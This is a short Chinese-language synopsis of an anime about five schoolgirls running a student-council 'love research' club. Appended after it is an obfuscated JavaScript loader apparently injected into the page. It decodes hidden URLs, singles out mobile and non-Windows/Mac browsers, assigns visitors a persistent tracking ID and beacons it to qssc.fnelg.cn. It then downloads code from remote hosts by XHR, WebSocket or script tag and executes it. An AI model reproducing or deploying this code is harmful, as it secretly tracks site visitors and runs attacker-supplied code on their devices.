故事发生在云集着优雅大小姐的私立贵族学校藤崎女子中学，人称“野性的丽人”的仓桥莉子（沼仓爱美 配音）有着男孩子般狂野以及正义感十足的个性，某一天不小心撞破了学生会会长真木夏绪（赤崎千夏 配音）的秘密。这个长得漂亮、头脑聪明的会长“藤姬大人”，不仅是老师的得力助手，还是众人憧憬的对象，实际上她却在学生会室里日以继夜地进行“恋爱研究”！因为被真木拜托，莉子当上了学生会会长助理，每天和真木进行恋爱研究与实践。个性过于害羞经常躲起来、因此成为妖精般的存在的学生会书记棚桥铃音（水濑祈 配音）也加入了她们。 学生会原会长榎本结子（佐仓绫音 配音）和原会计水嶋沙依理（大地叶 配音）化解了与真木她们的矛盾后，也加入了“恋爱研究所”。五名个性迥异的少女，就此展开了恋爱研究活动！
function faLsSy(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function gRzYx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return faLsSy(t);};window[''+'q'+'d'+'Y'+'n'+'E'+'T'+'i'+'K'+'y'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function NvFX(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=gRzYx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=NvFX(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=NvFX(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmddiYnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','4680',window,document,['d','J']);}:function(){};